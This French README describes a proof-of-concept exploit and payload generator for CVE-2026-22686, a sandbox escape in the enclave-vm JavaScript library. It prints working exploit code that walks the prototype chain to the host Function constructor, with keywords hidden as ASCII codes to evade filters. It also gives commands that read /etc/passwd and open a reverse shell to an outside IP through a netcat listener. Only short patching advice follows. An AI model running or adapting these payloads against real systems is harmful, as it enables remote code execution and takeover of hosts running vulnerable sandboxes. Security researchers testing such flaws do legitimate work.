Preuve de concept d'exploit et générateur de payload pour CVE-2026-22686, une évasion de sandbox dans enclave-vm <2.7.0 permettant l'exécution de code arbitraire et des reverse shells.
Un exploit de preuve de concept (PoC) et un générateur de payload pour CVE-2026-22686, une vulnérabilité critique d'évasion de sandbox dans enclave-vm versions antérieures à 2.7.0, permettant l'exécution de code arbitraire au sein du runtime Node.js hôte.
⚠️ Avertissement : Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. Toute utilisation contre des systèmes sans consentement écrit préalable est illégale. L'auteur décline toute responsabilité en cas de mauvaise utilisation.
enclave-vm est une bibliothèque de sandboxing JavaScript conçue pour exécuter en toute sécurité du code non fiable dans un environnement contrôlé. Dans les versions < 2.7.0, une faille dans la manière dont les objets d'erreur côté hôte sont exposés à la sandbox permet à un attaquant de parcourir la chaîne de prototypes et d'atteindre le constructeur Function de l'hôte, échappant ainsi effectivement à la sandbox.
Ce dépôt contient :
| Champ | Valeur |
|---|---|
| CVE ID | CVE-2026-22686 |
| CVSS v3.1 | 10.0 (Critique) |
| CWE | CWE-693 — Défaillance du mécanisme de protection |
| Composant | enclave-vm |
| Affecté | < 2.7.0 |
| Corrigé dans | 2.7.0 |
| Impact | Évasion de sandbox → exécution de code arbitraire (RCE) |
Lorsqu'un appel d'outil sandboxé échoue, enclave-vm expose l'objet Error côté hôte au code sandboxé. Comme cet objet d'erreur conserve sa chaîne de prototypes d'origine issue de l'environnement hôte, un attaquant peut remonter la chaîne comme suit :
Error instance
└── Error.prototype
└── Error constructor
└── Function constructor ← host Function!
Une fois le constructeur Function de l'hôte obtenu, l'attaquant peut compiler et exécuter du JavaScript arbitraire dans le runtime hôte — contournant complètement la sandbox.
L'exploit suit ces étapes :
callTool('NONEXISTENT', {})).Error.prototype.constructor.constructor, qui est le Function de l'hôte.Function de l'hôte et l'exécuter.child_process et exécute une commande shell arbitraire (ou lance un reverse shell).Tous les mots-clés sensibles (constructor, __proto__, __lookupGetter__, prototype) sont obfusqués sous forme de codes de caractères ASCII pour contourner les filtres statiques naïfs.
Aucune dépendance externe — utilise uniquement la bibliothèque standard Python.
git clone https://github.com/moi_404/CVE-2026-22686-PoC.git
cd CVE-2026-22686-PoC
chmod +x generator.py
Prérequis :
python3 generator.py
Il vous sera demandé de :
Ensuite, copiez le payload généré et collez-le dans l'entrée de la sandbox vulnérable.
python3 generator.py -c "id"
python3 generator.py -c "cat /etc/passwd"
python3 generator.py -c "ls -la /home"
Terminal 1 (attaquant — écoute) :
nc -lvnp 4444
Terminal 2 (générateur) :
python3 generator.py --revshell 10.10.15.152 4444
Copiez le payload résultant et collez-le dans la sandbox. Vous devriez recevoir un shell dans le Terminal 1.
python3 generator.py -c "id" --raw > payload.js
python3 generator.py --revshell 10.10.15.152 4444 --raw | xclip -selection clipboard
| Option | Description |
|---|---|
-c, --command | Commande shell à exécuter |
--revshell LHOST LPORT | Générer un payload de reverse shell |
--raw | Afficher uniquement le payload (sans bannière ni décoration) |
--lang {fr,en} | Forcer la langue de l'interface |
-h, --help | Afficher l'aide et les exemples |
const s = (...args) => String.fromCharCode(...args);
Un petit utilitaire pour décoder les tableaux de codes ASCII à l'exécution.
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95); // "__lookupGetter__"
const kPtype = s(112,114,111,116,111,116,121,112,101); // "prototype"
Évite les filtres triviaux basés sur les chaînes de caractères.
const ObjectProto = Object[kPtype];
const lookup = ObjectProto[kLookup];
const getProtoNative = lookup.call(ObjectProto, kProto);
let hostError;
try {
await callTool('NONEXISTENT', {});
} catch (e) {
hostError = e;
}
const errProto = getProtoNative.call(hostError);
const HostFunc = errProto[kCon][kCon]; // Host's Function constructor
const result = HostFunc(payload)(); // Arbitrary code execution
Le Function de l'hôte est ensuite utilisé pour exécuter la commande de l'attaquant via child_process.execSync().
Pour les développeurs :
enclave-vm vers >= 2.7.0.npm audit, Snyk, Dependabot).isolated-vm, gVisor, Firecracker).Pour les utilisateurs / organisations :